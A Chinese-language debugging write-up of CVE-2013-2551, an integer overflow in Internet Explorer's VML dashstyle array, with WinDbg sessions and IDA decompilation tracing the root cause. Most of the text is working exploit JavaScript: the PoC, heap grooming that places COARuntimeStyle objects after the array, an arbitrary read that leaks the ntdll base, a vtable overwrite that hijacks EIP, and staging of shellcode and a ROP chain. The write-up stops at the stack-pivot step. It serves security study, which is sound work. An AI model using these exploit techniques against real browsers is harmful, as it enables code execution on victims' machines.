IE整数溢出漏洞[cve-2013-2551]分析

调试的第二个洞,深刻的体会到了自己调试功底有多弱,在写这篇笔记的时候才理清调试思路。。。
这个洞说是整数溢出,我感觉主要还是在整数溢出造成的越界访问上。

pwn.gif

调试环境

  • windows7 32位(IE版本: 8.0.7600.16385)
  • windbg
  • Immunity Debugger

    这个洞在win8 + IE10下依然可以触发并利用

POC调试

poc代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>POC by VUPEN</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>

<script>
var rect_array = new Array()
var a = new Array()

function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

function exploit(){
var vml1 = document.getElementById("vml1")

for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; //获取_vgRuntimeStyle属性
}

for (var i=0; i<0x400; i++){
a[i].rotation; //第一次访问rotation属性,创建COARuntimeStyle对象 大小为0xAC(0xB0) 在偏移为0x58处为marginLeft
if (i == 0x300) { //在COARuntimeStyle中间创建一个包含44个元素的dashstyle数组(ORG数组),分配4*44 = 0xb0大小的空间
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}

vml1.dashstyle.array.length = 0 - 1; //整数溢出

for (var i=0; i<0x400; i++) {
a[i].marginLeft = "hpasserby"; //设置marginLeft的值,用于判断该对象是否紧接在dashstyle(ORG数组)之后。
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x41414141;
}
}
}
</script>
</html>

触发漏洞

首先开启HPA选项,在上一篇博客中提到过

gflag.exe -i iexplore.exe +hpa

使用windbg进行调试,程序中断在以下位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:005> g
(d14.e8c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1a53f064 ebx=6acc4964 ecx=00000001 edx=00000000 esi=1a53f060 edi=0463be4c
eip=766c9966 esp=0463be08 ebp=0463be10 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297
msvcrt!memcpy+0x158:
766c9966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:0023:1a53f060=????????
0:005> kb
ChildEBP RetAddr Args to Child
0463be10 6ac6cfa9 0463be4c 1a53f060 00000004 msvcrt!memcpy+0x158
0463be24 6acbda0f 1b1d2fe8 0463be4c 00000044 vgx!ORG::Get+0x27
0463be50 764a3ec3 1b1d2fe8 00000044 0463beb4 vgx!COALineDashStyleArray::get_item+0x8c
0463be70 764a3d3d 1b3daff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165
0463bf00 6aca47c1 08829454 1b3daff0 00000000 OLEAUT32!CTypeInfo2::Invoke+0x23f
0463c08c 6acc4a88 1b3daff4 1b3daff0 6ace223c vgx!COADispatch::Invoke+0x89
0463c0c0 68c3db38 1b3daff0 00000000 68c30adc vgx!COADispatchImpl<IVgDashStyleArray,&IID_IVgDashStyleArray,COAShapeProg>::Invoke+0x2f
0463c100 68c3da8c 092ecd10 00000000 00000409 jscript!IDispatchInvoke2+0xf0
0463c13c 68c3d9ff 092ecd10 00000409 00000003 jscript!IDispatchInvoke+0x6a
0463c1fc 68c3db8a 092ecd10 00000000 00000003 jscript!InvokeDispatch+0xa9

可以看到,crash的原因是访问了非法内存,查看该内存附近区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:005> dd 1a53f060-100 l50
1a53ef60 00000005 00000006 00000007 00000008
1a53ef70 00000009 0000000a 0000000b 0000000c
1a53ef80 0000000d 0000000e 0000000f 00000010
1a53ef90 00000011 00000012 00000013 00000014
1a53efa0 00000015 00000016 00000017 00000018
1a53efb0 00000019 0000001a 0000001b 0000001c
1a53efc0 0000001d 0000001e 0000001f 00000020
1a53efd0 00000021 00000022 00000023 00000024
1a53efe0 00000025 00000026 00000027 00000028
1a53eff0 00000029 0000002a 0000002b 0000002c
1a53f000 ???????? ???????? ???????? ????????
1a53f010 ???????? ???????? ???????? ????????
1a53f020 ???????? ???????? ???????? ????????
1a53f030 ???????? ???????? ???????? ????????
1a53f040 ???????? ???????? ???????? ????????
1a53f050 ???????? ???????? ???????? ????????
1a53f060 ???????? ???????? ???????? ????????
1a53f070 ???????? ???????? ???????? ????????
1a53f080 ???????? ???????? ???????? ????????
1a53f090 ???????? ???????? ???????? ????????

可以注意到在所访问的非法内存前面,存在一串极其规律的数字,结合POC中的代码,我们发现这应该是dashstyle属性的值,这是一个数组,其中每个元素大小为4字节。

1
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"

继续结合POC,发现下面这句对dashstyle数组的访问应该就是造成crash的原因了

1
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);

其中0x2E+0x16正好是访问的非法内存地址相对于数组的偏移。这意味着,我们拥有了数组越界访问的能力。
但是,漏洞的成因我们还是不得而知,观察函数调用栈,向上回溯到vgx!ORG::Get,在函数开始处下上断点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:015> bp vgx!ORG::Get
0:005> g
Breakpoint 7 hit
eax=1b570fe8 ebx=70a84964 ecx=70a17258 edx=0449bfb4 esi=1b778ff0 edi=0449c55c
eip=70a2cf82 esp=0449bf90 ebp=0449bfb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!ORG::Get:
70a2cf82 8bff mov edi,edi
0:005> dd esp l4
0449bf90 70a7da0f 1b570fe8 0449bfb4 00000044
0:005> dd 1b570fe8 l8
1b570fe8 70a17258 002cffff 00040004 00000101
1b570ff8 1a7dcf50 d0d0d0d0 ???????? ????????
0:005> ln 70a17258 //查看对象虚表
(70a17258) vgx!ORG::`vftable' | (70a172e8) vgx!vrgopNinch
Exact matches:
vgx!ORG::`vftable' = <no type information

配合IDA查看该函数结构

1
2
3
4
5
6
7
8
void *__stdcall ORG::Get(int a1, void *Dst, int a3)
{
void *result; // eax

if ( Dst )
result = memcpy(Dst, (*(a1 + 16) + a3 * (*(a1 + 8) & 0xFFFF)), *(a1 + 8) & 0xFFFF);
return result;
}

根据第一个参数的虚表指针可以知道到,a1是一个vgx!ORG对象,*(a1+16)dashstyle数组的起始地址。从而可以得知,dashstyle属性是靠vgx!ORG对象进行管理的。
第三个参数a3则是所访问的元素的偏移,正好是0x2e+0x16=0x44

然而,按照程序执行正常流程来说,是不应该调用到这个函数的,越界访问应该提前被检查到,所以我们还需要继续向前回溯,在vgx!COALineDashStyleArray::get_item处下断点,同时配合IDA。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __stdcall COALineDashStyleArray::get_item(struct COAProg **this, signed int a2, int *a3)
{
struct COAProg **v3; // esi
int v4; // esi
struct COAProg *v6; // eax
int v7; // eax
signed int v8; // eax
int v9; // [esp+4h] [ebp-14h]
int v10; // [esp+14h] [ebp-4h]
...
if ( a2 <= -1 || (v8 = (*(*this + 11))(this), a2 >= v8) )
{
v9 = 0x80048230;
}
else
{
v10 = 0;
(*(*this + 7))(this, &v10, a2); //vgx!ORG::Get
*a3 = v10;
}
...

1
2
3
4
5
6
7
8
9
10
11
0:005> g
0:015> bp vgx!COALineDashStyleArray::get_item
0:005> g
Breakpoint 7 hit
eax=0000000a ebx=70a84964 ecx=70a7d983 edx=184eaff2 esi=018baea0 edi=0473c2f4
eip=70a7d983 esp=0473bd54 ebp=0473bd70 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vgx!COALineDashStyleArray::get_item:
70a7d983 8bff mov edi,edi
0:005> dd esp l4
0473bd54 764a3ec3 1b398ff0 00000044 0473bdb4

通过调试,确定ida代码中调用的两个函数指针分别为

1
2
v8 = (*(*this + 11))(this)      //vgx!ORG::CElements()
(*(*this + 7))(this, &v10, a2); //vgx!ORG::Get(int a1, void *Dst, int a3)

观察参数可以知道,a2是将要访问的偏移。
注意到在IDA中的if判断,首先调用了ORG::CElements,若其返回值小于a2,则执行vgx!ORG::Get函数
直觉告诉我们这里便是一个关键点所在,我们跟进ORG::CElements函数查看细节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
vgx!ORG::CElements:
70a2d079 8bff mov edi,edi
70a2d07b 55 push ebp
70a2d07c 8bec mov ebp,esp
70a2d07e 8b4508 mov eax,dword ptr [ebp+8]
70a2d081 0fb74004 movzx eax,word ptr [eax+4]
70a2d085 5d pop ebp
70a2d086 c20400 ret 4
--------------------------------------------------------------------------------
0:005> g
eax=1b190fe8 ebx=70a84964 ecx=70a17258 edx=0473bd24 esi=1b398ff0 edi=0473c2f4
eip=70a2d07e esp=0473bd2c ebp=0473bd2c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
vgx!ORG::CElements+0x5:
70a2d07e 8b4508 mov eax,dword ptr [ebp+8] ss:0023:0473bd34=1b190fe8
0:005> dd 1b190fe8 l8
1b190fe8 70a17258 002cffff 00040004 00000101
1b190ff8 1a3fcf50 d0d0d0d0 ???????? ????????
0:005> p
eax=1b190fe8 ebx=70a84964 ecx=70a17258 edx=0473bd24 esi=1b398ff0 edi=0473c2f4
eip=70a2d081 esp=0473bd2c ebp=0473bd2c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
vgx!ORG::CElements+0x8:
70a2d081 0fb74004 movzx eax,word ptr [eax+4] ds:0023:1b190fec=ffff

可以看到,代码从一个vgx!ORG对象中取出了0xffff,其中movzx说明是将其作为无符号数对待的。
当函数返回后,0xffff将会和a2进行比较,但此时是有符号数比较,导致0xffff < a2,从而调用vgx!ORG::Get

根据POC中的代码,我们很容易猜到0xffff就是dashstyle数组(ORG数组)的长度,而vml1.dashstyle.array.length = 0 - 1;就是对长度进行修改的代码。

此时我们已经大概了解的这个漏洞的原理,但还是没有追溯到修改数组长度的根源。接下来我们将要试图找到修改length的具体代码。

漏洞根源

因为在c++在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对vgx!ORG::'vftable'的引用,试图找到创建vgx!ORG对象的代码。
search1.png
search2.png
可以看到,除了虚表本身以及两个ORG对象的成员函数外,只剩一个函数

1
signed int __stdcall MsoFCreateArray(__int16 a1, _DWORD *a2);

在windbg中对其下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:016> bp vgx!MsoFCreateArray
0:016> g
Breakpoint 7 hit
eax=0485e9c8 ebx=0485ea30 ecx=0485ea30 edx=00000001 esi=0485ea34 edi=0485ea30
eip=6e90d1df esp=0485e99c ebp=0485e9b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray:
6e90d1df 8bff mov edi,edi
... //单步几次后
0:005> p
eax=0485e9c8 ebx=0485ea30 ecx=0485ea30 edx=00000001 esi=0485ea34 edi=00000101
eip=6e90d1ee esp=0485e988 ebp=0485e998 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xf:
6e90d1ee e88a67fdff call vgx!operator new (6e8e397d)
0:005> p
eax=1d66efe8 ebx=0485ea30 ecx=00000014 edx=00000000 esi=0485ea34 edi=00000101
eip=6e90d1f3 esp=0485e988 ebp=0485e998 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!MsoFCreateArray+0x14:
6e90d1f3 59 pop ecx
0:005> dd eax l8
1d66efe8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
1d66eff8 c0c0c0c0 d0d0d0d0 ???????? ????????

可以发现这里创建了一个vgx!ORG对象,我们对它的length所在地址下内存断点,来观察其值的变化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:005> ba w2 eax+4
0:005> g
Breakpoint 8 hit
eax=1d66efec ebx=0485ea30 ecx=00000000 edx=00000004 esi=1d66efe8 edi=00000101
eip=6e94c07e esp=0485e978 ebp=0485e978 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFInitPx+0x11:
6e94c07e 8b4d14 mov ecx,dword ptr [ebp+14h] ss:0023:0485e98c=00000101
0:005> g; dd 1d66efe8 l8
Breakpoint 8 hit
1d66efe8 6e8f7258 00040001 00040004 00000101
1d66eff8 1d670ff0 d0d0d0d0 ???????? ????????
0:005> g; dd 1d66efe8 l8
Breakpoint 8 hit
1d66efe8 6e8f7258 00040002 00040004 00000101
1d66eff8 1d670ff0 d0d0d0d0 ???????? ????????
0:005> g; dd 1d66efe8 l8
Breakpoint 8 hit
1d66efe8 6e8f7258 00040003 00040004 00000101
1d66eff8 1d670ff0 d0d0d0d0 ???????? ????????
...
0:005> g; dd 1d66efe8 l8
Breakpoint 8 hit
1d66efe8 6e8f7258 002c002c 00040004 00000101
1d66eff8 1cbe2f50 d0d0d0d0 ???????? ????????
0:005> g; dd 1d66efe8 l8
Breakpoint 8 hit
1d66efe8 6e8f7258 002cffff 00040004 00000101
1d66eff8 1cbe2f50 d0d0d0d0 ???????? ????????
0:005> kb
ChildEBP RetAddr Args to Child
0485ee34 6e94c7c6 1d66efec ffffffff 0000002d vgx!MsoFRemovePx+0xaa
0485ee4c 6e90cf79 1d66efec ffffffff 0000002d vgx!MsoDeletePx+0x15
0485ee60 6e95dbac 1d66efe8 ffffffff 0000002d vgx!ORG::DeleteRange+0x17
0485ee8c 764a3ec3 1d66efe8 ffffffff 0793efa4 vgx!COALineDashStyleArray::put_length+0xd7
0485eea8 764a3d3d 1d896ff0 00000030 00000004 OLEAUT32!DispCallFunc+0x165
0485ef38 6e9447c1 07e4b454 1d896ff0 00000000 OLEAUT32!CTypeInfo2::Invoke+0x23f

可以看到,length的值首先从0递增到0x2c,然后被修改为了0xffff
通过栈回溯可以注意到vgx!COALineDashStyleArray::put_length函数,从函数名就可以猜测到这是一个修改length值的函数。
重新运行,对该函数下断

1
2
3
4
5
6
7
8
9
10
0:015> bp vgx!COALineDashStyleArray::put_length
0:005> g
Breakpoint 7 hit
eax=0000000a ebx=70a84964 ecx=70a7dad5 edx=09648fea esi=06297ec0 edi=046deca4
eip=70a7dad5 esp=046dec58 ebp=046dec70 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vgx!COALineDashStyleArray::put_length:
70a7dad5 8bff mov edi,edi
0:005> dd esp l4
046dec58 764a3ec3 1d958ff0 ffffffff 09648fa4

同时使用IDA查看函数代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __stdcall COALineDashStyleArray::put_length(struct COAProg **this, int a2)
{
...
if ( v10 >= 0 )
{
...
v7 = (*(*this + 11))(this); //vgx!ORG::CElements()
if ( v7 >= a2 )
{
(*(*this + 10))(this, a2, v7 - a2); //vgx!ORG::DeleteRange(ORG *this, int a2, int a3)
goto LABEL_2;
}
v8 = a2 - v7;
v9 = operator new(4 * (a2 - v7));
...
memset(v9, 0, 4 * v8);
if ( !(*(*this + 6))(this, v9, v8) ) //vgx!ORG::FAppendRange(int a1, void *Src, int a3)
v10 = 0x80004005;
operator delete(v9);
}
LABEL_2:
v3 = v10;
COAError::~COAError(&v10);
return v3;
}

首先通过调试可以知道,参数a2的值为0xffffffff,也就是我们想要设置的length。ida中的几个函数指针分别为如上所示。
通过ida反编译的代码我们就可以将整个程序逻辑理解清楚了。

  1. 首先使用vgx!ORG::CElements()获取当前的长度值(0x2c),放入v7
  2. v7与参数a2进行比较,这里同样也是有符号数的比较,v7 > a2
  3. 调用ORG::DeleteRange并直接跳转到LABEL_2,退出函数

而程序的正常流程本应该为

  1. v7 < v2
  2. 重新分配内存v9 = operator new(4 * (a2 - v7))
  3. 调用ORG::FAppendRange函数,并退出函数。

到此,我们完成了对poc触发crash完整流程的分析。

漏洞利用分析

此时注意关闭hpa选项

信息泄露

这里参考了Danny__Wei的博客

  1. VML shape_vgRuntimeStyle属性由COARuntimeStyle对象负责处理,当访问_vgRuntimeStyle.marginLeft时,对应的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函数就会被调用
  2. 当第一次访问marginLeft/rotation属性,那么在put_marginLeft/put_rotation函数中会调用CVMLShape::GetRTSInfo -> CParserTag::GetRTSInfo来创建一个COARuntimeStyle对象,该对象大小为0xAC(实际分配0xB0)
  3. marginLeft属性的值对应的字符串指针就保存在该COARuntimeStyle对象的0x58偏移处。可以通过get_marginLeft函数来访问该属性

因为我们拥有让dashstyle数组(ORG数组)越界访问的能力
那么,如果可以将COARuntimeStyle对象布局到一个dashstyle数组后方,我们就可以修改其中的marginLeft值对应的字符串指针。
这样,当我们再次读取marginLeft值的时候,就可以任意地址读取了。

相关代码

为了达到这样的效果,我们这里首先创建大量的VML shape对象

1
2
3
4
5
6
7
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

然后依次访问_vgRuntimeStyle.rotation,以此来创建大量的COARuntimeStyle对象(0xB0字节)
并且在创建的中途创建一个包含44个元素的dashstyle数组(ORG数组),该数组大小与COARuntimeStyle对象一致,使之可以与其相邻。

1
2
3
4
5
6
7
8
9
10
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; //获取_vgRuntimeStyle属性
}

for (var i=0; i<0x400; i++){
a[i].rotation; //第一次访问rotation属性,创建COARuntimeStyle对象 大小为0xAC(0xB0) 在偏移为0x58处为marginLeft
if (i == 0x300) { //在COARuntimeStyle中间创建一个包含44个元素的dashstyle数组(ORG数组),分配4*44 = 0xb0大小的空间
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}

在布局成功后,越界访问修改marginLeft指针(偏移为0x16*4=0x58),然后再次读取marginLeft,从而泄露数据。这里选择通过固定地址0x7ffe0300泄露出ntdll.dll的基址。
通过固定地址泄露的方法在后期补丁之后无法利用,可以选择泄露COARuntimeStyle对象的虚表指针从而计算出vgx.dll基址,然后通过读取PE头来获取IAT表来得到ntdll.dll的基址,具体可参考文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1; //修改length

for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16); //0x2E = dashstyle长度 + COARuntimeStyle对象堆块头部(8字节)
a[i].marginLeft = "hpasserby"
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) { //判断该对象是否紧邻于dashstyle数组
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; //修改指针
var leak = a[i].marginLeft;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x464F0;
alert("ntdllbase: 0x" + ntdllbase.toString(16));
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
break;
}
}

调试笔记

首先在vgx!MsoFCreateArray下断,查看vgx!ORG对象的地址,然后运行到vgx!COARuntimeStyle::put_marginLeft

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
0:005> bu vgx!MsoFCreateArray+0x14
0:005> bu vgx!COARuntimeStyle::put_marginLeft
0:005> g
Breakpoint 0 hit
eax=03f02690 ebx=0265e5d8 ecx=00000014 edx=02040048 esi=0265e5dc edi=00000101
eip=6d82d1f3 esp=0265e530 ebp=0265e540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!MsoFCreateArray+0x14:
6d82d1f3 59 pop ecx
0:005> dd 3f02690 l8
03f02690 000001c6 00000000 00000000 00000000
03f026a0 00000000 00000000 2156f9af 80000000
0:005> g
Breakpoint 2 hit
eax=0000000a ebx=6d8852d0 ecx=6d880286 edx=001493e2 esi=0265ed48 edi=0265ea84
eip=6d880286 esp=0265ea38 ebp=0265ea50 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vgx!COARuntimeStyle::put_marginLeft:
6d880286 8bff mov edi,edi
0:005> dd 3f02690 l8
03f02690 6d817258 002cffff 00040004 00000101
03f026a0 03f32b80 00000000 2156f9af 80000000
0:005> dd 03f32b80 l100
03f32b80 00000001 00000002 00000003 00000004
03f32b90 00000005 00000006 00000007 00000008
03f32ba0 00000009 0000000a 0000000b 0000000c
03f32bb0 0000000d 0000000e 0000000f 00000010
03f32bc0 00000011 00000012 00000013 00000014
03f32bd0 00000015 00000016 00000017 00000018
03f32be0 00000019 0000001a 0000001b 0000001c
03f32bf0 0000001d 0000001e 0000001f 00000020
03f32c00 00000021 00000022 00000023 00000024
03f32c10 00000025 00000026 00000027 00000028
03f32c20 00000029 0000002a 0000002b 0000002c
03f32c30 214948dc 8c000000 01400018 00000000
03f32c40 00000000 00000000 00000000 00000000
03f32c50 00000000 00000000 00000000 00000000
03f32c60 00000000 00000000 00000000 00000000
03f32c70 00000000 00000000 00000000 00000000
03f32c80 00000000 00000000 00000000 00000000
03f32c90 00000000 00000000 00000000 00000000
03f32ca0 00000000 00000000 00000000 00000000
03f32cb0 00000000 00000000 00000000 00000000
03f32cc0 00000000 00000000 00000000 00000000
03f32cd0 00000000 00000000 00000000 00000000
03f32ce0 00000001 00000000 214948c7 8c000000
03f32cf0 01400018 00000000 00000000 00000000
03f32d00 00000000 00000000 00000000 00000000
03f32d10 00000000 00000000 00000000 00000000
03f32d20 00000000 00000000 00000000 00000000
03f32d30 00000000 00000000 00000000 00000000
03f32d40 00000000 00000000 00000000 00000000
03f32d50 00000000 00000000 00000000 00000000
03f32d60 00000000 00000000 00000000 00000000
03f32d70 00000000 00000000 00000000 00000000
03f32d80 00000000 00000000 00000000 00000000
03f32d90 00000000 00000000 00000001 00000000
03f32da0 214948ee 8c000000 01400018 00000000
03f32db0 00000000 00000000 00000000 00000000
03f32dc0 00000000 00000000 00000000 00000000
03f32dd0 00000000 00000000 00000000 00000000
03f32de0 00000000 00000000 00000000 00000000
03f32df0 00000000 00000000 00000000 00000000
03f32e00 00000000 00000000 00000000 00000000
03f32e10 00000000 00000000 00000000 00000000
03f32e20 00000000 00000000 00000000 00000000
03f32e30 00000000 00000000 00000000 00000000
03f32e40 00000000 00000000 00000000 00000000
...

可以观察到数组后方已经成功布局上了COARuntimeStyle对象
继续运行,浏览器弹窗时断下,查看内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:005> dd 03f32b80 l100
03f32b80 00000001 00000002 00000003 00000004
03f32b90 00000005 00000006 00000007 00000008
03f32ba0 00000009 0000000a 0000000b 0000000c
03f32bb0 0000000d 0000000e 0000000f 00000010
03f32bc0 00000011 00000012 00000013 00000014
03f32bd0 00000015 00000016 00000017 00000018
03f32be0 00000019 0000001a 0000001b 0000001c
03f32bf0 0000001d 0000001e 0000001f 00000020
03f32c00 00000021 00000022 00000023 00000024
03f32c10 00000025 00000026 00000027 00000028
03f32c20 00000029 0000002a 0000002b 0000002c
03f32c30 214948dc 8c000000 01400018 00000000
03f32c40 00000000 00000000 00000000 00000000
03f32c50 00000000 00000000 00000000 00000000
03f32c60 00000000 00000000 00000000 00000000
03f32c70 00000000 00000000 00000000 00000000
03f32c80 00000000 00000000 00000000 00000000
03f32c90 7ffe0300 00000000 00000000 00000000
03f32ca0 00000000 00000000 00000000 00000000
0:008> ln poi(7ffe0300)
(778d64f0) ntdll!KiFastSystemCall | (778d64f4) ntdll!KiFastSystemCallRet
Exact matches:
ntdll!KiFastSystemCall (<no parameter info>)
...

可见地址0x03f32c90处的地址已经被修改为7ffe0300,通过获取marginLeft就可读取处ntdll.dll中的地址。
ntdll.png

劫持eip

  1. 当读取_anchorRect属性时,内部会调用”vgx!COAShape::get__anchorRect()”,最终创建并返回一个0x10大小的COAReturnedPointsForAnchor对象。
  2. 释放_anchorRec元素时,会调用虚表函数
    所以,我们可以通过与前面相同得布局方式,通过溢出修改COAReturnedPointsForAnchor对象的虚表指针,从而在释放该对象时获取程序控制权。

相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function exploit(){
var vml1 = document.getElementById("vml1")

for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4"; //与COAReturnedPointsForAnchor对象大小保持一致
}
}

vml1.dashstyle.array.length = 0 - 1;

vml1.dashstyle.array.item(6) = 0x41414141; //覆盖虚表指针

for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}

调试笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005> g
(fa4.a14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06f8a6b0 ebx=01f12460 ecx=41414141 edx=0000008a esi=01f12460 edi=00000009
eip=76494974 esp=0247ef14 ebp=0247ef20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
OLEAUT32!VariantClear+0xb6:
76494974 ff5108 call dword ptr [ecx+8] ds:0023:41414149=????????
0:005> dd eax-20
06f8a690 6cc5ecf8 8800c248 00000001 00000002
06f8a6a0 00000003 00000004 6cc5ecff 88000194
06f8a6b0 41414141 06f3d9d0 00000001 00000000
06f8a6c0 6cc5ecf2 88008cd5 6e895504 06f3dab0
06f8a6d0 00000001 00000000 6cc5ecf1 8800c1b4
...

ROP

因为我们拥有获取字符串地址的能力,所以这里不需要使用堆喷技术。
shellcode作为marginLeft的值,即可通过读取marginLeft指针泄露出它的地址。
然后根据泄露出来的地址生成rop链,同样的方法将生成的rop链写入marginLefe并泄露出地址。最后劫持eip到rop链上

布置payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function leak(){	
var vml1 = document.getElementById("vml1")

for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}

for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;

for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = unescape("shellcode");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);

if (marginLeftAddress_orgin != marginLeftAddress_modify) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
//第一次泄露
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x464F0;
alert("ntdllbase: 0x" + ntdllbase.toString(16));
alert("shelladdr: 0x" + shelladdr.toString(16));

//根据shellcode的地址生成rop链
//第二次泄露
var rop_chain = tab2uni(get_ropchain(shelladdr));
a[i].marginLeft = rop_chain;
rop_addr = vml1.dashstyle.array.item(0x2E+0x16);

vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
vml1.dashstyle.array.length = length_orig;

alert("ropaddr: 0x" + rop_addr.toString(16));

break;
}
}
}

栈转移

前面劫持eip部分可以看到,最后的调用是call dword ptr [ecx+8]
而在我们的gadget中没有xchg ecx,esp,所以这意味着没办法直接将栈转移到我们的rop链上。
